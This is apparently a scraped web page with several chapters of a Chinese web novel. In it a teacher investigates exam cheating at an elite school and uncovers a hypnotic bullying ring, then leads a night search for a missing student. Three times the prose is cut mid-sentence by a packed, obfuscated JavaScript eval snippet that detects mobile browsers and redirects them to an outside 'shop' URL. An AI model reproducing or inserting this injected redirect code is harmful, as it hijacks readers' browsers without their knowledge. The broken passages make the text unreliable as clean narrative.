教导主任:“???” “那,那这个搬办公室的事儿……”她试探口风。 “太空了!找行政处,给人家添置点东西。”书记不耐烦地挥了挥手,“加湿器啊,鲜切花啊……你们都比我懂,你们去办。” 这一个小插曲外,上半天再没什么事。快到中午,温准来了通电话,告诉林昭顾昐把手环给丢了。 获知这个消息,林昭不感意外。 顾昐既已通过“哔哩打人”下过订单,健康手环上的微型摄像头被承接委托的桑士桢定位弃置,这就是很自然的事情。 林昭觉得没有关系。不如说,被他们发现了还更方便。 在学校这个封闭的环境里,身为成年人的教职员们天生站在掌控着社会资源和经验的裁判者位置上,就像课堂上每个学生的一举一动,都能被讲台后的老师收进眼底。 顾昐和桑士桢不知道林昭掌握了多少信息,他们只能靠猜。在这种被动的局面里,一旦感受到危机,就更容易做出激进的决策,也就更容易暴露自己。 通话记录在下午调出。昨天午夜顾昐那一通电话,打给的是一个街边随便买来的黑号。 这条线索深查成本太高,林昭暂且将它搁下,优先等转账记录。 有了独立办公室,工作起来不需避人耳目,进度加快不少。林昭忙到晚自修结束收工,将工具箱锁在办公室里,一身轻盈走出教务楼。 学生散得差不多了,校门外滴滴叭叭的喇叭声也已远去。五月的白玉兰娉婷在枝头,迤逦了满路幽香。 林昭不觉放慢了脚步。 他对童年的记忆十分模糊,至今还能清晰记起的,只剩下福利院入口大门附近,几株高耸入云的白玉兰树。 然而,白玉兰树最高不过十几米。树冠垂云,只是童年时夸大美化过的错误记忆。 林君成接他走那天,门口那几棵树已明显地矮了下去。再后来家属院和科大校园里栽着的白玉兰,就更见平凡普通。 香气缈缈,连缀起他散落的人生。 路走到尽,是一座往上的斜坡。自行车库里没安装照明,上下两块混凝土板夹着一块方方正正的浓缩黑夜。山地车感应到主人的靠近,在深处亮起领航的荧光灯。 夹杂着新生草木和泥土腥气的南风中,飘来几句若有似无的歌谣。 可能是听错了,也可能就是有人想唱歌。林昭不追究这个,他摸着黑,往那盏绿灯去。 “喀拉。” 电子锁的清响在空旷的水泥板间来回碰撞,放大数倍回应他。歌声飘得近了,在远方,在夜里,在脑后。 “哩哩啦,哩哩啦……老鼠女儿要出嫁。” “张灯结彩大喜日,白日日晚满头金,狂风草草作嫁妆。” 垂落的视野中数条黑影逼近,或生着长耳,或有尖锐的犄角,兔猪牛马不一而足,自三个方向逼近他。 “放鞭炮,鸣喇叭……老鼠女儿上天庭。” “哩哩啦,哩哩啦……” 钉锤、狼牙棒、棒球棍、双头斧……车灯投下光源,勾勒出倒提在毛绒掌中的数种武器。 “鼠夺老猫香花席,又送女儿送到西。油尽灯枯两脚蹬,十二生肖盘中泣。” 黑影一动,一柄球棍挥起。几乎同时,林昭抛起一枚硬币。 不是那一枚月球纪念币,而是更普通的……一张圆片。挟着上升速度,圆片打着摆晃晃悠悠往上飘。 距离林昭脊背仅止一寸的球棍忽然一歪,往上翘起一截,轻擦过他后颈裸露的皮肤。 ……胶皮质地的!? 难怪这么轻。 圆片无风自定在半空,锥形的反重力场垂下,好似一张看不见的网,将所有武器兜着往上一拎。 包围圈乱了。林昭劈手一跃抓下圆片,撞开玩偶人,反身跑出两步,站住了。 “不准动!!!” 车库外,数十个脚步声疾奔而来。大口径探照灯啪啪打亮,十几个保安和体育老师组成的临时队伍,将玩偶人团团围在中间。 白昼般刺眼的灯光下,障眼法破灭显形。钉锤狼牙棒双头斧…… 全都是打足了气的儿童玩具。 乖巧圆润地拎在玩偶人手里,甚至能看出几分憨态可掬。 “神经吧!……哪搞来这些的!!?”保安队长只觉得被耍了,摸摸寸头啐了声,“你们几个,都把头套摘了!!!快着点!!!” 几个毛绒脑袋互相看了看,整齐划一保持了沉默。 林昭很有些啼笑皆非。原以为这些学生成熟早慧,没想到他们把幼稚的义气藏在了头套里。 牛,兔子,蛇,马和羊……林昭点了点人头,上前一把扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701082|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下鬃毛纠结的马头套。 “王觊!?怎么是你!!?”抱着胳膊站在一旁的体育教研组长一声怒喝,挥臂冲王觊的毛刺脑壳来了个响亮的大比兜,“你疯啦!!!下半年的全国赛你不想打了???啊!??” 王觊任教练的铁砂掌将自己拍来甩去,愣是沉默着一言不发。人堆角落里,红眼白兔悄然摘下自己的头,露出一张巴掌大的瓜子脸。 “单荔……”其余几个老师交换过一个惊异眼神。一位女老师困惑道:“单荔,你是个……很优秀的学生呀。你怎么……和他们,混在一起,做出伤害、威胁、恐吓老师的事情呢?” “他们强迫你了?威胁你了对不对?你过来,到老师身边来……” 单荔钉在地上,双手紧抱兔子头套,向林昭投来恳求的目光。 她动了动唇:“林老师。” 王觊睨她一眼,警告道:“不要说。” 单荔凶蛮地瞪回去,声音压得极轻:“我本来就投的反对票。你们真的是……蠢死了。” 一刻钟后,教务处唯一一间亮着的办公室里,六名肇事学生剥掉玩偶服,在林昭面前一字排开。 “为什么揍我?”林昭拎着个气锤,有一下没一下敲着桌,“谁来说?” 几个学生眼睛乱眨,视线扑闪,先后都往王觊那瞟了瞟。 眼看逃不过了,王觊震声,理直气壮道:“这不是也没揍成嘛!” “噗嗤”,几个学生偷着笑了。林昭道:“我知道啊。不然,你们还能站在这儿?” 若按照保安队长和几位老师的意思,这事得严肃处理,该叫家长的叫家长,通报批评处分都不能少。可林昭觉得,穿个玩偶服提着气球棒子唬人一跳……就是个万圣节把戏,罪不至此。 况且,他也玩得挺开心的。 但现在的学生,早都不吃这套怀柔政策了。不知谁咕哝了一句:“也没人求你啊。” 稍微缓和的气氛,顿时又冻住了。 “不长嘴的能别说话吗!”单荔急了,“林老师,你听我说。我们是——我们是……” “我们是……没有别的办法了。”她的声音轻下去,“我们希望老师你不要再查顾昐了……这是可以说的吗。” 说完,她垂下脑袋,一副静候发落的样子。 “你和顾昐,你们不是朋友了吧。”单荔在这个小团体里,显然扮演着智囊和外交官的重要角色,林昭反问她,“他的事情,和你有什么关系?” 单荔抬头,为难地拧了拧眉。 王觊转开视线不说话,其他几个学生也沉默不语。 “……是没关系。我本来也不想来的。”见没人提出反对意见,单荔往下说,“但……我不甘心。” “他俩竞争的国际游学夏令营,我也报名了的。第一轮简历关就被刷下来了。原因是校方推荐信不过关……后来我才知道,校方想和市局打好关系,所以一早就决定了保送高曜。我的推荐信,他们就写了半页纸。” “那我就觉得吧……与其让高曜拿走这个名额,还不如顾昐上呢!?至少他入选了,还能把高曜气个半死吧!” 因为遭遇了不公正的对待,求助无门,干脆平等伤害所有人是吗……林昭蹙眉:“但顾昐如果真的作弊了,查清楚以后,他的成绩会被取消。绩点不足还有诚信问题……夏令营方面,想必也会重新评估人选,你不是没有机会。” “不可能的,那肯定还得是他俩!”单荔笃定道,“作弊算什么?高曜……高曜也作弊了啊!” 林昭闻声一怔。 高曜也作弊?贼喊捉贼? 听单荔的语气,这还是个惯犯…… “——可谁管过他呢?”单荔笑了两声,反将他一军,“林老师,您不查他吗?” “您觉得,顾昐是怎么长到三百斤的?” 22. 同学 晟华的食堂被划分为四个区域,其中第一食堂最安静、也最宽敞。地面铺设着的柚木地板,无论何时都明亮洁净;柔和的光晕落下,照亮垂落蕾丝桌布的自助餐台。银光闪闪的保温炉熨着琳琅满目的万国美食,每隔一段时间,就有侍者撤走不那么新鲜的菜肴加以更换。 椅子拉开,一张描金骨瓷餐盘落下。满盛着波士顿焗烤龙虾、惠灵顿牛排、黑松露海胆鹅肝煎……鲜香四溢,令人食指大动。 顾昐从自己的餐盘里抬头,吃了一惊:“尤侃。” “嗨。你也进晟华了?”尤侃半耷着眼皮,无聊地搅了搅面前的砂锅粥,“摸底考怎么样?能进哪个班?” 顾昐的脖子根可耻地红了。他交赞助买分进的晟华,摸底考为了将学力分出三六九等,难度设计得相当高。空着卷面却不得不在考场里枯坐到最后一分钟,刚过去的这一个早上,对他来说无限近似精神上的凌迟。 “我、这个……”他嗫嚅。尤侃没耐心等他,他自顾自道:“能进国际班最好,藤校十拿九稳。名校班也凑合,至少老师还算个人。其他的,烂和烂中烂。还叫什么特色班,搞笑,骗傻子玩呢……” 顾昐的脸红一阵白一阵。他象征性应和两声,尤侃抱怨了几句摸底考,将那只趴着大龙虾的骨瓷碟往他面前一推:“喂,你还没回答我呢。早上发挥得怎么样?咱俩对对答案?” “就你那个能力啊——猜题的。不用白不用啊。”红彤彤的波士顿龙虾挟在半空,扑一声落下,跌进顾昐的餐盘,“最后两个选择题,我拿不准。顾昐啊顾昐,你帮我估个分呗?” “我请你吃大餐啊。”尤侃笑嘻嘻地说。 几个学生转到长沙发上坐下。有人疑惑:“单荔,你怎么知道这些?顾昐和你说的?你们两个该不是真的……” 单荔甩过去一个眼刀:“有天我去第一食堂,走过时不小心把餐盘打高曜那帮子人桌上了。只有顾昐第一时间起来帮我收拾,又跑出去找侍应生来帮忙。其他几个人都坐着没动,看到他帮我以后,脸色还变得很难看。哪有人会对朋友露出那种表情呢?” “……第一食堂。”林昭微叹口气,眉心轻拧,神情不再似往常平静,“那个时候你——” “Eating disorders,神经性进食障碍。”单荔坦率道,“老师您早就知道我有厌食症了吧……没事的,我没关系。” “刚认识顾昐的时候,我的情况很严重,一天只敢吃一个苹果,最多再喝一听无糖汽水。理智告诉我摄入足够营养素才能活着,可是身体不受我的控制。闻到食物的味道我就心慌想吐,手也一直抖拿不稳餐盘,所以才会……”才会误打误撞地认识顾昐。 “现在还好,真的。”像是要向林昭证明什么似的,她捏了捏自己的手腕,“我都胖十五斤了。” 发现顾昐吃饭时香喷喷的劲儿能让自己多扒几口,求生欲驱使着单荔,主动向顾昐抛出了友谊的橄榄枝。 厌食症和暴食癖,外人眼中八竿子打不着的两个人,在吃饭这件最基本的生理需求上交换了病情。 也许是饮食习惯的影响,也许是想在心仪的女生面前表现得更好,也许是寻求了外界的支援……顾昐那段时间瘦了不少,成绩明显提升,人也变得更有自信了。 “顾昐!对答案!对答案!!!”餐盘不耐烦地落下,一叠卷子和草稿纸被人胡乱塞过来,“好顾昐,你给这几题都做一遍呗?课外开卷考,你做一遍,我们再做一遍,大家都好放心点。” “这,不太好吧。我们班用的卷子,和你们那又不是同一套……”顾昐嘴上推拒了几句,却还是习惯性地接过餐盘,也接过了不属于他的“课外作业”。 总在外人面前一个劲儿地做错题,不体面,也很伤自尊。但顾昐太想要朋友了。普通班的学生聊不来,他需要的是和他差不多家境,却又比他优秀强大,惹人称羡的、“有价值”的朋友。 就像高曜那样。背景、学业、体育、外形、能力……无论哪一方面都很完美。即使自己只是作为跟班,和他共享同一张餐桌,就好像也分到了一点光环,沐浴在了旁人艳羡的视线中。 “顾盼。”高曜闲闲喊他。 顾昐一愣。昐和盼,高曜不可能认错。他聪明博学,从一开始就能分得清。 “我叫顾昐。是Fen,不是Pan。”他好脾气地说。 高曜好玩地打量他:“可我更喜欢盼。盼盼,盼盼,像熊猫,多可爱。” 尤侃跟着笑了。他大喊:“顾盼!” 一杆发令枪抵上了顾昐的脑门。其他人跟着哄笑开来,顾昐只觉得头晕。他拿不准自己是该生气该拍桌子走人该为自己辩护还是、还是该陪着他们一起笑……最后他扯了两下嘴角笑出了声音,为了表现自己不在乎玩得起,他甚至努力笑得比他们所有人更响亮。 “你的能力,最近测得不怎么准。”喧闹声退潮后,高曜的声音显得有些冷,“盼盼,你不信任我们吗?” 餐桌上一瞬间极静。 高曜曲着拇指,咔嗒,咔嗒,一下一下开合手中的限定款火机:“最近,你和单荔走得很近。尤侃喜欢单荔,这你也清楚。大家都是朋友,我不希望这张餐桌上的人闹不愉快——” “当然,你的能力是你自己的隐私。要不要说,取决于你自己。”咔嗒,咔嗒。规律刻板的节拍声中,镜面材质的火机轮转着七色棱镜的彩光,一圈,又一圈。 前方视野收窄,顾昐的眼皮半开半阖,瞳孔收缩微扩。 一只堆满糖油混合物的餐盘,推至他面前。 “你一定很饿了。”高曜的声音从遥远的地方飘过来,端方又和气,“吃吧……对,就这样。很好,你很听话。” 林昭蹙着眉:“集体作弊?” “不止在考试里。”单荔道,“晟华采取的是类似国外的综合绩点制度,平时的家庭作业、小测成绩,也都占据一定的百分比。他们……”她嫌恶地摇了摇头,心照不宣了。 顾昐的能力,对他自己没有意义。但对高曜、尤侃这些优等生来说,在这个选择题占据全卷面80%以上的机考时代,顾昐就是拿来押宝压轴大题的秘密武器。 事前准备好沟通设备,利用顾昐排除掉卷面上的错误选项,锚定正确答案、考取极限高分就成了可望可及的事情。 至于顾昐自己,他连基础分都拿不全,即使做对大题,也只会被认为是蒙的,甚至还有可能引起老师的怀疑。 为了自己的利益,这些“朋友”一朝摸透了顾昐的能力底细,自然是希望他越胖越好,未掌握的知识点越多越好。 尽可能提升反向预测的准确度,增大反选数据库的内容体量,对他们最为有利。 “顾盼,对答案,对答案!!!” 熟悉的吆喝声响起。一只手揽住他粗胖的膀子,顾昐触电似的一哆嗦,打了个激灵。 “又对了。满分。我说什么来着?——” “顾盼反买,别墅靠海!!!” “哈哈哈哈!哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701083|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈哈哈!!!” “顾盼啊,你怎么又在看书了?” “你别学了,学也没用。我们给你报答案那不香吗?” “就是,总坐着看书怎么行,走!跑几圈去!” “顾盼——顾胖,胖胖!喜欢你的新名字吗?” “听说你和单荔告白了?胆子比你人还肥啊。” “你要告白,怎么不和哥们儿说呢?我们也好给你支支招哪。” “比如说——” “先给你拿面镜子。” “照-妖-镜。” “看看自己是个什么模样。” “肥猪仔!” “吃吧,吃吧,你喜欢的。” “你这头猪。” “看他还点头呢。猪啃泥,哈哈哈,哈哈哈哈!” 彩色镜光投下的影子中,顾昐勉强抬头,嚼着食物含混不清地说:“昐……顾昐。” 糖和蜂蜜是香甜的。油脂的香气填充了空荡荡的胃袋,也麻痹了运转不流畅的大脑。他知道自己要做个好孩子,吃饭,把碗吃空。 但……但他叫顾昐啊。 昐,太阳和日光的意思。 生僻字里蕴含着美好的寓意,是母亲赠予他的第一件礼物。 咔嗒,咔嗒。 打火机叩响,顾昐低下了头。 散落的疑点,连成一条完整的线。高曜家长强势无比的连环举报,身为受害者却刻意置身事外的高曜本人。超管局测试中对压力测试高度过敏的顾昐,王觊口中努力跑圈却不见掉肉的顾昐,还有监控摄像头里,他的呕吐反应…… 起初是一时兴起,目的也仅在于利用顾昐的能力;却在嘲笑、欺压弱势者的过程中食髓知味,恶念打开膨胀,最终发展至长期的精神控制。 把一个人,当成了小团体的玩具。 或者说,高曜彰显个人威权的道具。 林昭想起了顾昐起而后落落落的成绩曲线。他并非一直都是吊车尾,他挣扎过,尽管那意志太过薄弱,很快便在夜色中消弭于无形。 而林昭自己,在已知高曜有所隐瞒、这一桩作弊举报可能另有隐情的状况下…… 却因为习惯的行动方式,错过另一半失落的拼图。 假设自己多融入一点学生们的生活,或至少接受其他老师的邀请到食堂用餐,是不是就能更早一步,察觉到高曜的秘密? 后悔没有意义。林昭推开椅子,视线一转,钉住王觊:“顾昐通过APP给你们下了订单,希望你们能想办法劝退我,对吗?” 人高马大的刺头男生眼神微闪,轻点了下头。 “很快十二点了。”林昭看了眼表,“你们的委托人,他就一点不关心自己赌上诚信和未来人生的巨额订单?” 几个学生一愣,纷纷摸出手机来看。 “别看了。”王觊低声道,“没有。” 单荔反应过来了:“我给他打电话!” “如果有能信任的朋友,”林昭提醒他们,“也问问高曜和尤侃那一群人的动向。” “和谁一起,去了哪……回家了没有,有没有人见过他们和顾昐在一起?” 把顾昐逼急眼了,忙着跳墙的,不只眼前这几个而已。 “你们知道要拿充气锤,”联络过其他老师说明了情况,林昭着手给这几个精力过剩的学生分任务,“他们不是。” “他们玩真的。” 几个学生互相看看,心里都生起种不妙的预感。 23. 你的马头套 “联系不上。”单荔按掉电话,“他关机了。” “管家说他今晚没回家。”教导主任得了消息,半夜披衣匆匆赶回来学校,“他提前和家里打过招呼,说今晚去朋友家里开庆祝派对。” “失踪……”有人喃喃道。 现代人没点状况,怎么会离开手机呢?在场其他人嘴上不说,脸色都变了。 “说不定只是回家路上手机没电了。”教导主任安抚大家,“管家已经差人去找,家里也有人候着,有消息会第一时间联系校方的。” “……这,这校外出的事故,应该不能算到我们头上吧?”高二十八班的班导也赶过来了,他面有土色,急于和这桩意外划清界限,“学校里他都好好的啊,班上同学也都在恭喜他。突然跑没影了,这谁能想得到啊……唉。” “找人要紧好吧?你这个人叽叽歪歪的分不清重点。”教导主任急得团团转,“小林老师,你刚才说超管局也在帮忙了,这是真的吗?” “说是这么说。”林昭对超管局没有额外的滤镜,他客观道,“但警方和监察组只是走程序正常排查。要找人,还是要靠在座各位。毕竟……他们不可能比你们更了解顾昐了。” 凭空落下顶高帽,六个学生都有些茫然。 “来脑暴吧,都来。”单荔翻身盘坐,招招双手,“想想,顾昐可能会去哪些地方?” “也别忘了高曜和尤侃。”林昭提了一句,走开两步,打对讲给保卫科,“调今晚的校园监控……对。对,没错,重点关注这几名学生的动线……好。谢谢。” “你就那么确定,顾昐这事和那几个家伙有关?”王觊突然抻脖子,扭头反问林昭,“有证据?” 林昭收了对讲,自高处对上他探究的视线:“你觉得高曜怕什么?” 每个人都有恐惧,有不想失去的东西。顾昐渴求朋友,由此身陷“友情”的泥沼。高曜呢? 为了维持年级第一的宝座不落,可以任意践踏身边的同学,将别人的尊严踩在脚底。 为了巩固自己在团体内独一无二的权威,不仅杀鸡儆猴,立一个听话的靶子供人凌辱,还无中生有,强装异能,非得在同学朋友圈子里,表演一个方方面面都完美无瑕的人设…… 男生随口道:“他怕输。” “输没什么,再赢回来不就行了?”林昭摇摇头,不以为然,“国际游学夏令营名单释出那天,学校电台的祝福消息谁让播的?八点出的名单十二点转播到校电台,谁安排的广播,目的是什么?” 办公室里静了片刻。教导主任搓了搓自己的胳膊:“这是……刻意煽动舆论,公开威胁自己的同学!?这么优秀的学生,怎么能做出这种事……”她接连说了好几个“不敢相信”。 “……我明白了。顾昐动摇了高曜的权威,”单荔恍然,“一直听话的‘玩具’,不仅成绩压过他,抢走他的考学名额,甚至还不再受他的异能控制,也不听他的使唤了……” 一语点醒,其他人也顿悟了: “确实,很麻烦。” “老大地位不保啊。” “尤侃那几个人,也不是好说话的。” “要是连顾昐都能反杀他……”三言两语,很快讨论出一个共识,“那以后谁还听他的!?” 唯独王觊一言不发,沉默着似有心事。 “假设你是高曜。”林昭偏逮着他不放,“你怎么做?” 玻璃灯带光线柔和,不动声色照出林昭平静神情。他那双清冷的柳叶眼微微眯起时,眼角棱弧尖锐,瞳色也收敛得更为幽深。 有如湖面镜光滟滟,水静流深。小心探看,却一无所获,只见出己身倒影徘徊。 男生喉结滚了滚,做出某种决定似的,一字一顿道:“——至上主义。” “什么?至上主义?俄国艺术家马列维奇创造的抽象艺术流派?”单荔大感意外,“王觊你还知道这呢?你也对艺术史感兴趣?” “什么马什么奇啊……?不知道你说什么。”男生闷着声音别开脸,“我说的至上主义,是个邀请制的夜间俱乐部。” 提供线索仅半小时后,警方发来联络,说在“至上主义”俱乐部调到了顾昐、高曜、尤侃等多名晟华学生的出入记录。 晚十点左右,高曜和尤侃等一群人闹哄哄进了店。 顾昐在十几分钟后抵达。和前台迎宾对话几句,他被带往高曜等人的包间。 私人包间没有监控探头,此后发生什么,无从得知。时近午夜,顾昐独个儿从电梯里出来。他脚下有些趔趄,外表看起来还算整洁,只有精神状况看起来不太对劲,迎宾和他打招呼,他呆呆傻傻看人一眼,就这样走出去了。 顾昐走后不久,尤侃出门拿了个外送。走廊里另一台监控则拍到高曜去了趟洗手间,几个人没再出来。 “得去逮他们。”教导主任怒不可遏,“准备冲刺高三的学生,竟然跑去夜店玩!十二点了还不回家……简直不可原谅!!!” “顾昐的状态不太好。”单荔站起来,“先找人吧。” “我们也来帮忙。”其余几个学生被这种勠力同心的动人氛围感染了,“顾昐这事,说起来我们也有责任……” 林昭不由好笑:“你们有什么责任?” “呃……”好像是和他们没关系哈。学生们彼此看看,脸上都有几分赧然。 和学生失踪相比,戴玩偶头套吓唬人根本都不算个事。教导主任恨铁不成钢将他们往外轰:“行了行了,都几点了。赶紧回家睡觉去吧都,找人的事你们就别掺和了……” “帮忙吧。”王觊突然发话了。他个头高,身板块垒分明,长身起来高过教导主任两个头,气势不容反驳,“顾昐十二点出的俱乐部,十几分钟他走不远。俱乐部附近说不定有人见过他,咱们找他去。” 没人再有异议,事情就这样定了。单荔和十八班的班长于见霜两个女生留校,一个到保卫科帮忙盯着监控,另一个看住教学楼的出入口。其余人拆成几队,分头往不同方向扫街。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701084|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “必须尽快找到顾昐。”散开前,林昭又强调了一次,“高曜对他下达了某种指令,但我们暂时不明确那是什么。这个时间地点,顾昐一个人行动……非常危险。” “都说高曜有‘心灵控制’的能力,那是真的吗?”教导主任不无担忧。尽管超管局方面没有高曜的能力记录,但面对这些背景深厚的孩子,她作为老师,心里也没有底。 “是催眠。”没时间多解释,林昭简短下了结语,“——放心吧。高曜没有超能力。” 黑得化不开的夜,飘扬起轻若针毫的雨。 以“至上主义”为锚点,老师、保安和学生们组成的临时队伍,往外扯开一张无形的网。手电光照亮一个个堆着杂物和垃圾的街角,不同调的声音此起彼伏喊着顾昐的名字,询问后巷里的流浪汉和岗亭里的环卫人员是否见过他们的同学和学生。 雨丝摇曳,抓挠过每个人心上。他们思绪纷纷,没法控制自己不去想林昭的话—— 他说,高曜没有超能力。 这代表了什么? 他欺骗了所有人。一直以来,高曜对外呈现的形象都是假的。他在同学间、甚至是老师面前,传播自己拥有“心灵控制”异能的谎言,为自己塑造起了一个“全知全能”的完美者形象。 当一个先入为主的刻板印象被发自内心地接受,接踵而来的洗脑就变得顺理成章。不要违逆高曜的意思……他能读取你的想法。不要和小团体作对,谁能惹得起他们家呢?就算目睹了他们作恶,赶紧走开明哲保身才是上策。高曜做事总是那样周全,他不会留下对自己不利的证据。举报他是给自己添麻烦,说不定还会惹火烧身…… “催眠。” 单荔的餐盘打翻在桌上,仓啷一声清响唤醒了埋头苦吃的顾昐。林昭毫无犹豫的断语,唤醒了一场覆盖范围更广的催眠。 为什么怕他? 大家都是高中生,谁比谁特别啊。 背景深又怎样,做错了事就得付出代价。 就算很困难……也会有办法的吧。 不试试看,怎么知道结果呢? 雨水冲刷过道路,洗掉白日堆积的尘土和晚间结垢的油污。嘈切的脚步声匆忙跑过,水花四溅,模糊映出一张张焦灼的脸庞。 ——顾昐,顾昐,你在哪? ——顾昐,你不要吓我们,你快出来吧。 ——顾昐,你能听到我们吗? ——这里也没有,要不要再往远处走? ——我问问,看能不能看便利店的监控。 ——下雨了。他带伞了吗? ——应该没有吧。哎……啊——啊嚏! 垃圾回收处理站。 废品山深处,有什么重物翻身滚落,砰一声滑落至泥水横流的地面。 呼喊声远了又近,近了又远。像隔着厚厚虫蛹的春来之梦,遥远到虚幻的地步。蛹中翻滚着的黑色泥浆,是唯一触手可及的真实。顾昐挣扎着,涌动着,拖着沉重的躯壳,往透着光的方向爬去。 24. 掉了 寻找无果,一个多小时后,众人在警局前碰头。 “我们这边都没有。” “我这也没有,商铺和治安岗亭监控都没记录。” “学校和家里也没消息。” “别急,这种时候,没有消息就是好消息!” “我说,手机关了就不能查定位吗?” “不行,就说查不到了啦……” 街对角,“至上主义”的彩色拼格灯箱墙霓光闪烁,雨幕流离,为之平添上几分魔幻色彩。王觊抿唇,目光勾着那变幻莫测的彩色方格不放,无声攥紧了手心。 悄无声息地,他从人群中抽离出去。林昭反手突拽他衣领,将人一扯,低声警告:“想跑?” 男生愣住,目中微愠,没好气地瞪他,似一只被踩了尾的大猫。 “‘至上主义’这一间精英会员制俱乐部,常常举办面向异能者开放的主题沙龙,是超管局的重点监控对象之一。”林昭道,“后半夜,超管局会挑个合适的时间把场子封了,顺带便查掉高曜他们的包房,以便固定现场证据。” “不想和超管局撞上,”他又将人往回带了带,“就好好待着,哪都别去。” 教导主任投来慈母般的目光:“怎么了?要去哪?大半夜的可别再乱跑了,丢了一个,这可不能再丢第二个啊……” 男生本能一低头,避开她的视线,挺不自在去掰林昭的手:“别拎我。” “那你还跑吗?”林昭反问他,“还想逞英雄,自己去找高曜他们吗?” “我……”男生被他拆破,面子上很有些挂不住,“我哪都不去!我去厕所!!!” “噗嗤”,人群中爆出一阵小小的笑声。林昭仍是不放他:“行,当然行。我拿根绳拴着你行不?栓上了,你爱去哪去哪。” 这话一出,众人都觉出不对来。且不说这俩人讲话像打哑谜似的,就小林老师这个表情和语气,也不像是在开玩笑……教导主任耳语几句,就有老师跑去小卖部问有没有塑料绳卖,准备带个一两卷回来上手捆人了。 ……还真绑啊! “别,”男生举起双手,敛了神色,“不跑了,真的。” “你最好是。”林昭松开他,“来帮忙,这还有很多事要做呢。” 林昭说,被催眠的人,认知范围会被迫收缩至一个窄域,只能将注意力集中在催眠者施加的指令之上,失去对于外部世界的客观判断。 也因此在夜晚的城市,顾昐一个人行动是极为危险的。指令的控制会导致什么样的举动,也很难被预料到。 譬如说,“听话”。 看似普通的一道指令,如果在大马路中间,车来车往时突然发挥被激活,就可能带来无法挽回的后果。 因此,当务之急是通过对症下药的外部刺激,唤醒顾昐对外在世界的主意,以保证顾昐的基本自理能力和生命安全。 街头巷尾,数块屏幕闪烁,定格至同一画面。 “现在插播一则紧急寻人启事……” 黑长直公主切的虚拟主播跃然画中,神色焦急,向镜头外招手,一字一句报出了顾昐的直播间ID:“……这位同学,你能听到我吗?听到了,就回应我,好不好?——你不是一个人!朋友、同学、老师……很多人都很担心你!回答我,好吗?我们在等你回来……” 欢快蠢萌的宅舞歌曲响起,回荡在幽深的雨夜。 “听到我……” “看到我……” “回答我。” “如果有任何线索,请在直播间留言告诉我。” “且不谈费用问题……这样高调找人,会否引发舆论问题,对学校口碑造成影响?”教导主任望着街边广告屏上蹦蹦跳跳的二次元主播,愁眉不展,“况且,这真的能有用吗……” 且不说顾昐能不能看到,就算他看到了,一个载歌载舞的二次元主播,真能比这么多现实中存在的人更管用? “应该能报销吧。”林昭心虚地摸了摸口袋,“至于您担心的舆论问题……假若今晚顾昐有个三长两短,我想顾家家长回国后,必然不会善罢甘休。到那个时候,高曜尤侃等人的所作所为、还有晟华校方对于学生恶行的漠视和纵容,想必只会招来更为恶劣的影响。” “与其提防一个不知何时会炸的暗雷,不如将主动权抓在自己手里,您觉得如何?” “……也许你是对的。”教导主任叹气,“如果是十年前,说不定我也……” 林昭笑笑,道:“如果有人追究责任,就说是我提的要求。你们不知情,都是配合我。” 反正他就是一个临时工,大不了顶锅跑路,一锤子买卖没有第二单。 教导主任不明觉厉,大受感动。 “咱们第一件事,优先把顾昐找回来。”她喃喃自语,“接着得搜集证据。三班的几个老师,他们多多少少肯定知道点情况……还有第一食堂的工作人员,对。” “我来负责打报告,给上头说明情况。”她下定决心,盘算着回去后的计划,“一定把这事儿查清楚。” 雨意微敛,天光乍明,保安室一通电话炸响:“学校!!!学校!!!顾昐回学校了!!!监控里看到他了!!!你们快来啊!!!” 行踪确定,所有人都松了一口气。坐上警车赶回学校的途中,单荔的电话又打了过来:“人不见了……又失踪了!!!我和霜霜都看着监控呢,保安赶去截他,人就不见了……” “他会在哪啊?”另一个声音从听筒里传开,“从来没觉得,学校大是一件这么烦人的事情……” 在哪呢? 林昭单手撑着腮,在想另一件事。 回学校。顾昐从高曜那里接收到了什么样的指令,驱使着他冒雨走了几个小时,走回到了学校里? 以高曜一贯以来的行事风格来看,他利用催眠给顾昐下的指令,不外乎打压诋毁、大肆否定个人价值、命令顾昐自首交代作弊情况、放弃夏令营选拔名额几种情况。 但顾昐听话了吗?他关掉手机,避开所有人的寻找游荡了一整晚,最后又回到了学校里…… 若是只看结果,顾昐没有听从高曜的指令…… 他一个字都没有听。 不期然地,单荔的话语响起在林昭的脑海。 “……我不甘心。” “与其让高曜拿走这个名额,还不如顾昐上呢!?” “至少他入选了,还能把高曜气个半死吧!” 意气用事,无意义的情绪。即使自己不能够从中得利,也要让他人感受到被摧折的苦痛…… 看似没有效率 